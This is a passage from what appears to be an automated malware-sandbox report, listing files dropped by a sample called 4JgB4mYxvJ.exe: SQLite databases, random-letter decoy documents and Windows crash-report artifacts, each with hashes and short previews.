SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFIEGDAEHIEHIDHJDAAKKEHCAF

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\ProgramData\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\ProgramData\EGCFIDAFBFBAKFHJEGIJKJDGII

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGIDGCGIEGDGDGDGHJKKKJKEC

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\ProgramData\HDAFBGIJ

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIJEGDBGDBFIJKECBAKF

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHIDHDA

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MOCYNWGDZO.xlsx

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697037595313649
Encrypted:	false
SSDEEP:	24:g/+8vo21a//IhKFS8bMQ3P4t+Lkb4Y8Wt7TtXKz4D4:gW8vA/whb8Ng+AAu9LD4
MD5:	3A605B28E969139672BE0E4D7FE82082
SHA1:	4617C5A640812401DBFF9496F5D1C2A12AA8D13E
SHA-256:	69FF27594C8FCFF7230801C9615A936A3DF20D76201D52F31D1DED2A2653609B
SHA-512:	2084E5A8FD5D04C8083EC0CCDE9D1E8FB4C1927EB8BD4CE7F51842A749E0B7A6438C0949533D971B6718E8548A699610C97730ED70E14263A412EB536B476993
Malicious:	false
Preview:	MOCYNWGDZOEFLBAUJXWVEXMAZFCWSNOWFGTWTIBESQSAZNOYHLBXCGJHPEXXNITWNNFPBORWCOPINZKMAJXVPGEGUUVNIULVFLTJMQYJTYCVALFVQLFMFVJSUAERDAOEAYACBVHOUTSFYFSDPOVOPJCCCIRHICKBQDESZSREBKKTYKSCXNGLJVGIIOILNEGRSJJDSTZDJITAXYMHIXQSKJBXKIFCRLYYFDQCOLXKCOVCAKNCZAVQFYHZABDTLXVASJREYZRZDXFPUCIEERHWCUHUXUKEFWIVQDAMGJRKYYKTLIEQAFUTOVRONZDHUXIFPJQZRYHUCZRNQDOXXXSWHSGEXQUJJJPPVSYBCQXDKBFVEGBYTNBTYWXROFLGNORHKSRKSPDTSOXAFIIRFZMOBYNLQKULZXGFBGHOJDBAVZFWYDDFUKPVCPCODHNRUCNISGNHHGPCLXIGRFTRIKCICNBANPAFLEBCJJQAWAKDKHRGBQXJHJKNQCGLYXDMZXWGFUQDBYOGSWLBFNICTGWEOAMFOBBYVXBOCSMOIJYMWDBNFRORDGYSUMJSEPOOUIJXZBBQNXWCWUKVWWBRDLPWJOTMIEEMHNPFDZVYPQXUVNVEQJHOQIESJYVVLEKLOMGFIAPAYGUIEVTHTCIKUDOKZQPAXNCAPSBPWPQQGQXTFGUNTUGAJCCAQCXTWKOWHYFPFWGOTSPQODWOQGRFKOAZWPTIBAXVJBVTWOBTRWMJTNAANSOXJASIGFSMFGUQTTIVUSHYNANTLWTXZPRMXSOZBKGHVKBXJLPUQPVVTNCDPSYPPZATJQRJIYYBQXNICKPCZPOSYKZXDXWUUMHHDPXMXSNTZMUCAYAOVOQHDYGOOPVMCBVTOUKPWZTRQWNNZMUVAKVGSKSQXQOGHNGBQPQBRRAIQVXYOMSYFNMMZLKELQHLNWIAZFXJJENJOZVVDSEEZCUXTGWGPGXXZWEHVIKUPOBCYKBYFFBLHAJBIRCO

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_4JgB4mYxvJ.exe_b64a5fdcffb7bffe686b275d79b578e70faef_ff9ba42b_0ac1a85f-d86d-438f-a611-b5a6c3d95bcb\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0576104014890402
Encrypted:	false
SSDEEP:	192:anE99Fzo0dtpBjSXZrMZOVbzuiFmZ24IO8b:N99FzDdtpBj7MbzuiFmY4IO8b
MD5:	9E2D91FA0725CB83B9E74C0EE05C71D8
SHA1:	8AFCC6068AC3CFC2BE62A5CE713644C26C0FA70A
SHA-256:	4ECCBB258ACDCCC017FBC2EA4560A9606B939F1501DF09D771E8D82B405E6D71
SHA-512:	6509D3B0890A84ADDF96010C43101858C37AA38CC6F0DCAA4ABBFDEED88430961946AFF42CCF53453ECAF21117F6CEAC0FCA716495AADED9D0A086F138D0658D
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.3.3.1.2.0.1.0.5.3.2.5.0.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.3.3.1.2.0.1.6.7.8.2.5.2.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.a.c.1.a.8.5.f.-.d.8.6.d.-.4.3.8.f.-.a.6.1.1.-.b.5.a.6.c.3.d.9.5.b.c.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.f.5.b.c.6.8.3.-.4.f.d.2.-.4.c.b.9.-.9.e.2.9.-.0.e.9.1.6.9.3.d.0.7.d.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.4.J.g.B.4.m.Y.x.v.J...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.e.e.0.-.0.0.0.1.-.0.0.1.4.-.8.5.f.1.-.1.c.7.3.5.0.9.5.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.d.e.b.0.f.7.f.8.3.1.c.0.3.4.d.7.b.c.6.2.8.2.a.4.c.4.6.8.9.1.9.9.0.0.0.0.0.a.1.6.!.0.0.0.0.8.1.5.2.0.f.5.1.6.0.7.b.9.c.6.2.f.f.f.7.0.b.7.c.b.a.7.b.b.9.d.d.b.e.7.7.9.3.7.b.!.4.J.g.B.4.m.Y.x.v.J...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6CF7.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Apr 23 07:33:21 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	56886
Entropy (8bit):	2.6524841041093747
Encrypted:	false
SSDEEP:	384:Imm083UsbfalEEbmXKsmBJjUgwb7E+xUFIO6:M0ts+lEEHRJUhbYMad6
MD5:	0839CE426394D925B9D2508B43932CD4
SHA1:	62C0DAB12F000DCD95D036D2CABFDCD9E1E01B92
SHA-256:	D16B743FAB107EA3E6079EDE78FA11EF25A0539A4EF44252DBF492E75712F62A
SHA-512:	8390C12AC3D1B1C3D4F213BB8665E94147E3E42CAD150D3B816F1B6EDCAFB0680D2573B3879E8F07C1C1E61BE7AA693E21566B4EE64614EE527CE157E03ED39C
Malicious:	false
Preview:	MDMP..a..... .......Ad'f............4...........p...<...........:2..........T.......8...........T............S..............."...........$..............................................................................eJ......0%......GenuineIntel............T...........$d'f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6DE3.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8354
Entropy (8bit):	3.7049261452963247
Encrypted:	false
SSDEEP:	192:R6l7wVeJlU6BU6YEIfSUXHfgmfaSpDH89bvhsfjVFm:R6lXJm6y6YEwSUXHfgmfaXvafS
MD5:	DCD70F6D1DF646989AC410F142596C33
SHA1:	228B121C31E6ACEEC17EC56078BC7F3D36C8766A
SHA-256:	DFA9BC4F1EA7F8CBFA4DD4C36AB5BDA90AFC488E3DF303A2CFAC1D82D6A58D1E
SHA-512:	19179D189F7E7EFA69B7AADCB10848F47318B1168414C9436C85484B795405EAAEDFC0C44EC0743B0C8969C1D1133B8F9526395AF76EB4E5DCFD42CF882F888A
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.8.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6E03.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4583
Entropy (8bit):	4.464900529337868
Encrypted:	false
SSDEEP:	48:cvIwWl8zsiJg77aI9xeWpW8VYpYm8M4JMmQUFz+q8Y/Tv6etatsd:uIjfwI7ff7VNJ356et0sd
MD5:	2708A72D9A96511DF5057472C8B3D5FF
SHA1:	F2CCB9E16A5CBBD18FD9DF070662FF5C4BA7249F
SHA-256:	0011098A6635684EE74D4465F21477E35993404C3C0F98DA426E780B508D26DA
SHA-512:	40F9EA95606845E1F3E0A608C4549DC059D9F14887DC9741ED1B3E3D472A0C6059BCDC4E1E7777BA793CA849E398176B9F13DD1F26DA278002ED0C722F884CA2
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="292236" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\4JgB4mYxvJ.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	